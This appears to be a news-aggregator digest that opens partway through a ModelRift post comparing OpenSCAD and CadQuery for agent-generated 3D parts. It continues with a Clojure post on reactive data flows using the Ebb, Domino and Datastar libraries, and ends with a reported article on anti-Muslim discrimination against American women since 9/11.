Speed favours OpenSCAD, and it barely matters

Geometry recompute is 30 to 100 times faster, 16 ms against 1.9 s. Inside an agent loop dominated by model inference that is noise. It would matter for a live customizer or a large parameter sweep.

OpenSCAD renders have no concept of a part edge

After CSG there is only a triangle soup, so --view=edges draws the triangulation rather than an outline. CadQuery’s B-rep knows where two faces actually meet. Since images are the agent’s feedback channel, this was a real asymmetry in our setup, so we fixed it by rendering the exported STL and reconstructing outlines from the angle between adjacent faces.

The same bracket rendered three ways: flat default, cluttered triangulation edges, and clean outlines

Same part, three renderers. Left: the CLI default, no outlines. Middle: --view=edges , which draws every facet. Right: feature-edge reconstruction from the STL, which also paints mesh defects in red. All six runs predate this fix.

Takeaways

Neither tool wins on output. Six clean printable parts, three from each.

What decides it is verifiability rather than expressiveness, and CadQuery leads there by a wider margin than the syntax difference suggests. Being able to ask the kernel what you just built, and to assert on the answer, is worth more in an agent loop than any amount of convenient syntax.

Task shape decides more than the tool does. Simple prismatic work went to OpenSCAD. Two parts that must mate went to CadQuery. The helical thread, the task that looked tailor-made for a B-rep kernel, went to OpenSCAD outright.

If a generation pipeline leans on screenshots, it leans on the one channel that caught nothing here. Numeric assertions are the thing to force: wall thickness, clearance, interference volume, overhang angle.

Verify the mesh independently, because both toolchains certified geometry that was wrong. This is the same lesson the Pantheon benchmark produced from a different angle, where Codex looked strong in the preview loop but shipped an STL with geometry problems around the portico roof. Preview and export are not the same thing. For anything going to print, the exported mesh needs its own inspection pass.

Caveats

One agent per cell, so some of the spread is agent variance rather than tool difference.

BOSL2 was deliberately not used. A library-assisted OpenSCAD run would likely change T2 and T3 substantially.

All six runs predate the outline renderer, so the visual channel was uneven while they ran.

This measured construction only. Nobody measured the harder skill, which is repairing a model somebody else broke.

What this means for ModelRift

We are staying on OpenSCAD, and this benchmark sharpened why rather than changing the answer. The original reasons still hold: a compact text format an LLM can write directly, safe sandboxing, and fast rendering, all covered in Why we built ModelRift on OpenSCAD . CadQuery’s advantage is real but sits mostly in verification, and verification is something we can add around OpenSCAD. Its disadvantages are structural for our case: a Python runtime per session instead of a WASM sandbox, two-second rebuilds instead of 16 ms, and no clean multi-object color export of the kind we built for multicolor 3MF .

The more useful finding is about feedback. The Pantheon benchmark ended on the observation that autonomous generation is not the right workflow yet, and that Annotation Mode, where you draw on a render and hand it back to the AI, is what makes spatial iteration work. This run adds a boundary to that. Visual feedback is the right tool for massing, proportion, and “the column is in the wrong place”. It is the wrong tool for wall thickness, clearance, and whether a boolean quietly deleted half your part. Those need numbers, and the agent has to be made to look at them.

Two changes are already going back into the published OpenSCAD skill. The feature-edge renderer above, so agents get previews with real part outlines instead of triangulation. And a numeric check pass the agent has to run before it can call a model finished: wall thickness, clearances, interference, and a mesh audit that does not ask the tool whether it did a good job.

Managing Complex Application State with Reactive Data Flows

Lobsters
yogthos.net
2026-09-12 15:45:31
Comments...
Original Article

Reactive UIs look deceptively easy in a small app where you can keep things in sync without much effort. The trouble starts once the app starts to grow and accumulate real business logic. You often end up with cascading sets of rules that depend on derived values. On top of that, some of the data has to flow out to external services while more keeps coming in from them back into your application. Ensuring that all of it stays consistent while the user is busy clicking things and entering data in the UI is not trivial, as anybody who's built these kinds of apps knows.

Four building blocks

The good news is that we can use four building blocks to break the problem down. Datastar and glimmer give us an easy way to create a reactive UI that responds to changes in the data. Domino provides a transactional data flow engine which encodes all the business logic. Ebb gives us a clean way to coordinate data flows in and out of the system.

All these pieces happen to fit together in a neat way. Ebb sits at the edges and coordinates external events coming into the system. Those events get transacted in Domino, where any derived values are calculated, and then a glimmer reactive atom drives the UI updates based on the resulting state. User input flows the other way going from the UI into Domino, getting transacted and triggering effects that flow back out of the system through Ebb.

Ebb at the edges

Ebb ends up acting as a service bus with access to external resources such as a database, external APIs, or functionality like sending emails and generating PDFs that the app needs to hook into. These are all data flows at the edges of the application that you want kept away from the business logic.

It's a port of the Missionary JVM library which leans heavily on the Java ecosystem to do the heavy lifting. While that made it impossible to use Missionary directly, Jolt fibers happen to line up nicely with the way Missionary works conceptually. Ebb implements Missionary's API in pure Clojure on top of Jolt's fibers, and passes Missionary's own test suite. Having real fibers even improves on the original in one respect. Missionary's ? operator can only park when it appears syntactically inside the process body, because the coroutine transform it relies on is lexical. But each fiber carries a real stack, so in Ebb it's possible for functions to park at any call depth.

The core idea behind Missionary is to provide a library for supervised data flow programming where asynchronous effects can be treated as composable values. It tackles the problem of coordinating time and state in concurrent applications by linking the exact lifespan of any allocated resource to the period its data is actually needed by a consumer. This is accomplished using a directed acyclic graph supervision model where shared dependencies are allocated upon the first request and disposed during the final release.

The biggest advantage of this approach is that it does away with the memory leaks and state inconsistencies that plague reactive software development. Because the architecture forces strict boundaries around how and when asynchronous event streams are kept alive, you never have to worry about problems like an orphaned websocket or zombie threads eating up system resources. Every dependent resource is recursively cleaned up when a component unmounts, and that gives you a mathematically sound foundation for continuous time reactivity.

One interesting aspect of Missionary design is to use a bidirectional flow protocol which allows producer and consumer processes to negotiate backpressure in order to invalidate stale data before expensive recomputations can be triggered. The dashboard example at the end of the post reads a producer through two lanes contrasting the two ways of handling backpressure.

Lane A subscribes with m/observe , which pushes values at the consumer from a reader thread as they arrive. Since m/observe has no backpressure of its own, it needs to be paired with m/relieve to keep the newest value and drop the rest when the consumer starts to lag. Cancelling the flow runs the cleanup function, which destroys the child process ensuring that nothing is left holding a pipe or a pid.

(defn- observed-lines
  "A flow of producer lines, pushed from a reader thread."
  [k produced]
  (m/observe
   (fn [!]
     (let [proc (spawn-producer! k)
           rdr  (io/reader (:out proc))]
       ;; a reader thread loops over (.readLine rdr), bumping produced
       ;; and pushing each line with (! line)
       (fn cleanup []
         (kill! proc))))))

(defn- lane-a-flow [produced delivered]
  (let [source (m/relieve (fn [_ x] x) (observed-lines :a produced))]
    (m/ap
     (let [line (m/?> source)]
       ;; parking here lets the upstream
       ;; relieve collapse values
       (when (pos? @consumer-delay-ms)
         (m/? (m/sleep @consumer-delay-ms)))
       (swap! delivered inc)
       (parse-line line)))))

Lane B pulls one line per unit of demand instead, so when the consumer slows down, the OS pipe fills up causing the producer to stall. In this scenario, the pressure stays at the source so that values aren't dropped.

(defn- pulled-lines
  "A flow that reads one line per unit of demand. `m/via m/blk` moves the
  blocking read off the flow's thread; because nothing reads ahead, the
  pipe fills and the producer blocks in write(2)."
  [k]
  (let [proc (spawn-producer! k)
        rdr  (io/reader (:out proc))]
    (m/ap
     (loop []
       (if-let [line (m/? (m/via m/blk (.readLine rdr)))]
         (m/amb line (recur))
         (m/amb))))))

Domino

The data flow model used by Missionary happens to be a perfect fit for Domino, which is used to manage the state of the application. A document describing the data model sits at the core of Domino, tracking all the fields associated with the application's data. Business logic is expressed on top of the data model by attaching context-free functions to paths within the document to act as rules. A rule is triggered whenever a value changes at a path declared as its input, and the rules cascade in a transaction that produces a new state of the document. Once the document transacts, effects can be triggered that hand data off to the flow layer managed by Ebb.

I tend to think of an application as a state machine, and that's really the core idea behind Domino's design. An event gets triggered, which can be a user input, a system event, a service call, whatever, and it gets fed as an input into the data flow engine. Rules fire in a cascading fashion, and at the end you get a new state. Then you can fire effects, update the UI, and so on.

Here we can see what that looks like in concrete terms on the demo dashboard. A sample lands in the document as a single transaction on the [:sample] path which triggers a cascade of rules. The events are declared as data with each explicitly stating the paths it reads and writes, which allows computing the relationship graph.

(def events
  [{:id      :record-history
    :inputs  [:sample]
    :outputs [:history]
    ;; append the sample to the capped history series
    :handler ...}

   {:id      :compute-stats
    :inputs  [:history :window]
    :outputs [:stats]
    ;; stats over the last :window samples
    :handler ...}

   {:id      :compute-pressure
    :inputs  [:stats]
    :outputs [:pressure]
    :handler (fn [_ {:keys [stats]} _]
               {:pressure (+ (* 0.55 (get-in stats [:cpu :avg] 0.0))
                             (* 0.35 (get-in stats [:mem :last] 0.0))
                             (* 0.10 (get-in stats [:io-wait :last] 0.0)))})}

   {:id      :classify-alert
    :inputs  [:pressure :warn-threshold :crit-threshold]
    :outputs [:alert-level]
    :handler (fn [_ {:keys [pressure warn-threshold crit-threshold]} _]
               {:alert-level (cond
                               (>= pressure (or crit-threshold 0.85)) :critical
                               (>= pressure (or warn-threshold 0.55)) :warn
                               :else                                  :ok)})}])

The vector of events also acts as a spec for what the app does, clearly stating every business rule that's fired from the raw sample to the alert level. The thresholds and the window are hooked up to sliders that can be dragged to re-run the same pure events without a new sample arriving. One subtlety worth noting is that Domino runs an event once per changed input path which requires handlers to be idempotent.

With Domino you get a transactional data flow engine for managing the state of the application. Inputs come in, a transaction happens, and outputs come out. The real benefit is knowing exactly what the relationships are between all the fields in the document and the business rules associated with them. I've found that's the actual business problem in most large applications I've worked on. You end up with a lot of business logic along with many derived fields, and the complexity of their relationships gets too big to keep in your head. Then somebody comes and asks for a new business rule, and it becomes impossible to guarantee that adding it won't break some other rule within the system.

Taxes and loans are a really good example. You have a bunch of things that get calculated together, and the formulas change over time as the laws get updated, so you have to maintain clear rule sets for each scenario. When the calculations are scattered across the code base, there's no easy way to see what a given change touches, and no easy way to prove the rules are still consistent afterwards.

Another context I have direct experience working in is a hospital, where patient data needs to be coordinated between different teams. An app used to do patient assessments for surgeries will need to coordinate data between nurses, surgeons, dietitians, and other clinical staff. You end up with large forms that track many hundreds of different fields, and those fields are then used to calculate the scores for the pre-surgery assessment. Nobody can hold all of that in their head, and every field can potentially affect the outcome making it important to ensure the scores are derived correctly.

Reusable rules and views

Domino's approach makes the business logic reusable and composable, because the rule functions and the UI widgets are context free. If you write a formula for calculating BMI, that formula becomes a building block you can attach to any two fields representing height and weight, along with an output field for the BMI. A table widget can collect rows of information, and a graph widget can attach to the same path and render trends over time.

Domino also lets you create views attached to the schema, and these are used to map the fields in the document to the UI. If you have two roles such as a nurse and a surgeon, they might care about different subsets of the data in the document, and those subsets are likely to overlap. Being able to attach different views with their own widgets, naming conventions, and the fields they display makes it easy to express the same underlying data in different ways based on the context. Since the views still go through the common transact mechanism over the whole document, the values are recalculated whether they appear in a given view or not. A nurse might be collecting the height and weight of a patient, while the doctor only cares about the resulting BMI. Since the nurse doesn't need to see the BMI for it to be calculated, what's shown in the view has no direct relation to the business rules that still need to be fired. Whether you show a piece of data to the user or not, the business logic has to stay consistent across the document.

Another problem this approach solves is concurrent multiuser workflows. Since you know the subgraph of fields affected by any set of rules up front, you can lock those fields together whenever a user is editing a field belonging to the set. Different users can safely work on different parts of the document without worrying about overwriting each other's data. The related fields stay locked while a user edits, and the logic gets applied transactionally once they're done.

The UI layer

That leaves the final piece of the puzzle, which is the interface itself. Glimmer is a reactive GUI toolkit where you write Reagent-style components that return hiccup. Its sole job is to keep the widget tree in sync as the reactive state changes, and glimmer-datastar implements the server side of the Datastar protocol on top of glimmer. The page holds an open server-sent events stream, and the server re-renders the fragment and pushes it out whenever the state changes. The browser stays a dumb terminal with all the business logic living on the server.

In pretty much any large app I've worked on, I found that you always want to keep the application state in one place. Either it lives entirely on the front end and the backend is treated as a service bus, or it lives entirely on the backend with the client being responsible for collecting input and displaying UI widgets. Splitting the state across both sides means the two constantly have to negotiate over who owns what, creating a source of subtle bugs.

In the dashboard, the authoritative Domino context lives in an atom which is written to at whatever rate the machine produces samples. It, in turn, publishes to a reactive glimmer ratom on a timer, and that ratom is what the SSE streams subscribe to. This keeps the page from repainting at the rate that the data streams into the system, and prevents a misbehaving client from reaching back into ingestion.

;; the authoritative domino context is a plain atom
(defonce ctx (atom nil))

;; the single reactive cell the SSE renders subscribe to
(defonce view (ratom/atom {:db nil :cascade [] :log []}))

(defn publish!
  "Mirror the authoritative state into the view. One caller, on a timer."
  []
  (ratom/reset! view {:db (db) :cascade (change-history) :log @log-entries}))

The page itself is then just a function of that snapshot.

(defn fragment
  "The live region, rendered from one published snapshot."
  [live?]
  (let [{:keys [db cascade log]} @state/view
        {:keys [sample history stats alert pressure controls]} db]
    [:div#app-body
     (alert-banner alert)
     (gauge pressure (:warn controls) (:crit controls))
     ;; metrics, the side panels, and the controls rail
     ...]))

The dashboard example

I put together a dashboard that ties all of these ideas together. It's a live system monitor which renders the CPU, memory, and network figures that come out of /proc, so the page shows what the machine is currently doing.

Each layer sits in its own namespace, and their split follows the architecture I've discussed above. At the bottom we have app.pipeline, which is the Ebb layer that owns the streams which can sleep, require retries, or get cancelled. The app.state is managed by the Domino layer which sits between the data streams and the UI. Finally, app.ui renders hiccup from the published snapshot and hands it to Datastar.

The pipeline runs three ingestion lanes side by side, each demonstrating a different discipline against a live producer. Lane A pushes through m/observe into m/relieve, so the producer doesn't have to wait on a slow consumer. Lane B pulls one line per unit of demand through m/via m/blk ensuring that nothing is dropped with the pressure landing on the OS pipe instead. Lane C is a poll loop on a timer, because procfs builds its files at read time meaning that there's nothing to subscribe to. When you pause lane A, the flow gets cancelled, which kicks off the cleanup to destroy the child process, causing the pid to disappear from the lane card on the page.

Each sample arrives as a single Domino transact, and from there the cascade runs from the raw sample to window stats to a composite pressure index to an alert level. The Cascade panel lists the paths the last transaction wrote, using their execution order. The Model panel draws the event graph straight from the schema to render the actual business logic. The Log panel interleaves Domino transactions with Ebb task lifecycle events to illustrate the plumbing between the layers while the app runs.

Notably, Domino effects never perform IO themselves. Instead, an effect posts a request onto an Ebb mailbox that's drained by the supervisor fiber which spawns the matching task. Then, each task transacts its own result back into the document once it completes. The live context sits in a glimmer ratom allowing every connected page to repaint when the model changes.

The effect that asks for alert delivery fires on transitions to post a request onto the bus.

{:id      :announce-alert
 :inputs  [:alert-level]
 :handler (fn [_ {:keys [alert-level]}]
            (bus/request! {:type :alert :level alert-level}))}

In Ebb, a mailbox post hands the value directly to a waiting consumer and runs it until it parks again, on the posting thread. Effects fire inside the transaction while a write lock is held, and the supervisor's handlers transact, so posting inline would deadlock the two sides against each other. So, requests have to be collected during the transaction and posted once the lock is released.

(defonce requests (m/mbx))

(defn request!
  "Post a request, or collect it if a transaction is in progress."
  [req]
  (if-let [collector *collector*]
    (swap! collector conj req)
    (requests req)))

The supervisor fiber sits on the other side of the bus to consume requests and turn them into tasks.

(defn- drain-task
  "Take one request at a time and handle it before taking the next."
  [config]
  (m/sp
   (loop []
     (let [req (m/? bus/requests)]
       (handle! config req)
       (recur)))))

The alert below calls the sink, and retries with linear backoff while the sink keeps refusing, writing every attempt back into the model. The sink's failure rate is itself a slider, so retries can be exercised on demand.

(defn alert-task
  "Deliver an alert, retrying with linear backoff."
  [level max-attempts]
  (m/sp
   (loop [attempt 1]
     (state/transact! [[[:alert :delivery]
                        {:status :sending :level level
                         :attempt attempt :max max-attempts}]])
     (let [outcome (m/? (m/attempt (deliver-once level attempt)))]
       (if-let [err (try (outcome) nil (catch Exception e e))]
         (do (m/? (m/sleep (* 200 attempt)))
             (recur (inc attempt)))
         (state/transact! [[[:alert :delivery]
                            {:status :delivered :level level
                             :attempt attempt :max max-attempts}]]))))))

The full task also gives up after the configured number of attempts, and a cancelled alert means that the level recovered or a newer alert replaced the current one.

User input is treated as just another event into the system. Every slider transacts new values into the document to trigger rules and effects.

(defn- control-route
  "Every slider lands here: coerce, transact, and let Domino's effects
  act on the change downstream."
  [path signal value]
  (state/transact! [[path value]])
  (patch {signal value}))

Changing the sample interval transacts the interval-ms control, whose effect asks the supervisor to cancel lane C and spawn it again at the new rate.

What I like about this setup is that each piece ends up doing a well-defined job. Ebb owns time and cancellation, Domino owns the rules describing the business logic, and the UI just renders whatever the state happens to be at any particular time. The business logic lives in a transactional document where every dependency is declared explicitly, making it clear and transparent.

For Many Muslim Women, the Racism and Suspicion After 9/11 Still Hasn’t Lifted

Portside
portside.org
2026-09-12 15:42:47
For Many Muslim Women, the Racism and Suspicion After 9/11 Still Hasn’t Lifted Kurt Stand Sat, 09/12/2026 - 15:42 ...
Original Article

Twenty-five years after the terrorist attacks of September 11, 2001, many Muslim Americans are still perceived in ways shaped by 9/11 and continue to face discrimination, bigotry and suspicion. Muslim women, many of whom wear a visible identifier of their faith, often find themselves targets for what they represent, both past and present.

“It’s very clear from the data and interviews with Muslims that the terrorist attacks fundamentally changed the trajectory of the Muslim American community in some pretty big ways,” said Besheer Mohamed, a senior researcher at Pew Research Center with extensive experience studying Muslim American communities.

But in data collected in the spring of 2026 , Pew found that women were more likely than men to say they had experienced discrimination in the past year. Respondents said they had been treated with suspicion, been singled out at airport security or by other law enforcement, called offensive names or physically attacked, Mohamed said.

Views on Islam are more negative now than they were in 2002, according to Pew data. The 19th spoke to experts about the long impact of 9/11 and the growth of the Muslim American community as Islamophobic rhetoric intensifies in politics.

The hijab seen as a threat and a target

Sahar Aziz remembers exactly where she was when the attacks happened: She was a first-year law student at the University of Texas. Like millions of other Americans, she followed the news that day, when nearly 3,000 people were killed in New York, Virginia and Pennsylvania after 19 Islamic extremists hijacked four commercial airplanes in a coordinated attack.

For the next several years, Aziz said, she and other Muslim colleagues were called “terrorist lawyers,” and she felt like public enemy number one as the United States launched the global war on terror and created the Transportation Security Administration and the Department of Homeland Security.

Now, Aziz is a law professor at Rutgers Law School in New Jersey who often writes about the ways in which Muslim American women are caught in an intersection of biases. According to Pew, nearly half of Muslim women said that on any given day there was something distinctive about their appearance, voice or clothing that could be associated with being Muslim. Of these women, the vast majority said they wore a hijab, a traditional headscarf used as an expression of modesty.

The attacks on September 11 “triggered wars in Iraq and Afghanistan and the rise of ISIS — and at these points, the hijab was certainly associated with terrorism,” Aziz said. “These women were seen as sympathizing with terrorism at the very least, and at the very worst being co-conspirators.”

But now, Aziz said the hijab has transformed into something else: a cultural threat.

“There is a social contract that nearly every immigrant, especially from outside Europe, has had to adhere to upon moving here,” Aziz said. “It’s the contract of assimilation into Anglo-Saxon Protestant European norms and religion, and that entails changing how you dress, how you talk, how you live — to not be seen as threatening.”

In 2026, Pew surveyed Americans on their views of Muslim Americans, and 42 percent said Muslim Americans have a negative impact on the country. When asked to explain their reasoning, answers included: “Remember the twin towers?” and “Fear of another 9/11 terrorist attack.”

“It appears that 25 years of multiple generations being told repeatedly, either through visuals or through explicit rhetoric, that some Muslims are terrorists, are anti-American, are misogynistic — that triggered a hysteria rather than an embrace,” Aziz said.

About six months after the attacks, 25 percent of U.S. adults said the Islamic religion was more likely than other religions to encourage violence. In 11 subsequent polls, that figure never went lower than 38 percent. In the last decade, however, it rose to about 50 percent. The Council on American-Islamic Relations, the largest Muslim civil rights organization in the country, reported a record-high number of discrimination complaints filed by Muslims in 2025.

“When you have racism against a particular group so deeply entrenched, the default position is guilt by association, presumption of guilt or collective guilt,” Aziz said. “Then individuals have to prove their innocence with their neighbors, their schools and communities.”

The 9/11 generation

When the 9/11 attacks occurred, Jasmin Zine’s sons were still in school in Canada. She saw how immediately her sons had to begin navigating new stereotypes and misconceptions around terrorism, jihadism and violence. Her older son’s name, Osama, quickly became demonized due to its association with Osama bin Laden, the leader of the militant terrorist organization that orchestrated the attacks.

Zine, a sociology professor at Wilfrid Laurier University in Ontario, said her family’s experience prompted her to write a book, “Under Siege: Islamophobia and the 9/11 Generation.” She interviewed around 130 Muslim youth and people who worked with youth in the community, including religious leaders. She largely interviewed people between the ages of 18 and 25 who were in middle school at the time of the attacks.

“I was interested in examining the impact of the aftermath of 9/11, which was an escalation point for Islamophobia and anti-Muslim racism,” Zine said. “I was especially interested in how it was impacting the millennial generation of Muslim youth who were growing up under the specter of this global war on terror.”

Overnight, these children went from unobtrusive citizens to being seen as potential threats. She asked them questions about their sense of identity and belonging, what it felt like to be targeted by security regimes and agencies, and if they were ever singled out for scrutiny on the basis of their religious identity.

“What I found is that 9/11 certainly disrupted a lot of their adolescence, and it’s also made them more self-surveilling,” Zine said. “They internalized the fact that they were being watched and that they were under suspicion.”

Most of the millennials she talked to did not explicitly say that 9/11 impacted them. But with follow-up questioning, it became clear that they were aware of the stereotypes that existed that cast Muslims as folk devils. Students from one Muslim student association told her they opted not to play paintball or certain video games in public spaces “just in case people thought they were violent or planning an attack.”

Millennial Muslim women told Zine that they were subject to more harassment when they wore headscarves. One hijab-wearing young woman told Zine that she didn’t feel like she could be in public while in a bad mood, because she felt a pressure to positively represent all Muslims.

“She had to bottle up her feelings to remain pleasant because she was visibly Muslim,” Zine said. “She didn’t have the luxury of being an individual.”

Solutions and silver linings

The Muslim American population has risen substantially in the past two-and-a-half decades. There are about 5.5 million Muslims now, compared with 2.4 million in 2007, the first year Pew estimated the size of the population. The number of mosques rose from 1,200 to 2,800 between 2000 and 2020, according to the Faith Communities Today project.

More than 20 years after she was called a “terrorist lawyer,” Aziz said it was “refreshing” to see growth in the National Association of Muslim Lawyers and the creation of the American Muslim Bar Association. She’s also noticed a rise of Muslim influencers, young musicians and artists. But Aziz said she wants to see more positive representation that humanizes Muslim Americans in mainstream culture, films and shows.

“We need to expose the American public to the diversity of Muslim experiences, the ordinariness of Muslim Americans,” Aziz said. “They are just like any other group of people who live in the United States. They are funny, sad, ambitious and normal.”

Aziz also said there should be an update in the education system to incorporate more modules and curricula depicting Muslim Americans outside of the national security lens.

“We’re talking about 1 to 2 percent of the population,” Aziz said. “It’s a very small number and is more likely to go unnoticed. And yet, they receive an outsized amount of negative attention by politicians."

Views on Islam are more partisan than ever before, according to Pew. Republicans are more likely to say that Islam encourages violence, and GOP politicians continue to disseminate Islamophobic ads , rhetoric and policy. In March, Rep. Chip Roy of Texas, co-founder of the Sharia-Free America Caucus, posted “No more Muslims” on social media. In August, Rep. Nancy Mace of South Carolina posted, “Every single Muslim holding public office in America is a trojan horse, and a threat to both national security and our republic.”

Since 2001, there has been a notable rise in Muslim American participation in politics, with Muslim candidates winning multiple primary contests. All of them — besides Dr. Mehmet Oz, who ran for the U.S. Senate in Pennsylvania in 2022 — have been Democrats. Voters in Michigan recently chose Dr. Abdul El-Sayed as their Democratic nominee for U.S. Senate. And in New York, Zohran Mamdani was inaugurated as the city’s first Muslim mayor early this year.

In 2001, there were no Muslim members of Congress. Now, there are five: André Carson, Ilhan Omar, Rashida Tlaib, Lateefah Simon and Aisha Wahab. Omar and Tlaib made history in 2019 as the first Muslim women sworn into the U.S. Congress. Their tenures have not been smooth – Omar in particular has faced challenges from both House colleagues and the White House — but they have continued to earn their constituents’ votes.

Aziz pointed to other civil rights movements, such as Black Lives Matter, that highlight how long-term progress is often met with short-term backlash. She is optimistic that progress will win out in the end as the Muslim population continues to grow.

“In many ways, this backlash against Muslims is itself an admission of progress,” Aziz said. “We’re at a shifting point where more Muslims have parents who were born and raised in America, and now they are beginning or on the verge of becoming leaders. They are going to expect equality in a much more meaningful way.”

I’m Mariel Padilla . I’m a general assignment reporter at The 19th, where I’ve been since July 2020, just before the organization launched. I’ve written about all kinds of things, from the nursing shortage to child marriage laws to family-building concerns within the military community. I love falling down history rabbit holes, making spreadsheets and writing long explainers that nobody asked for (but people usually show interest in).

The 19th is an independent, nonprofit newsroom reporting on gender, politics, policy and power. We’re named for The 19th Amendment – a watershed moment in our democracy that was meant to make voting a right regardless of sex. In reality, it gave White women the right to vote, while women of color remained disenfranchised for another four decades. We acknowledge that fact in our logo with an asterisk, and dedicate our reporting to the women and LGBTQ+ people still fighting to be seen and heard in our democracy.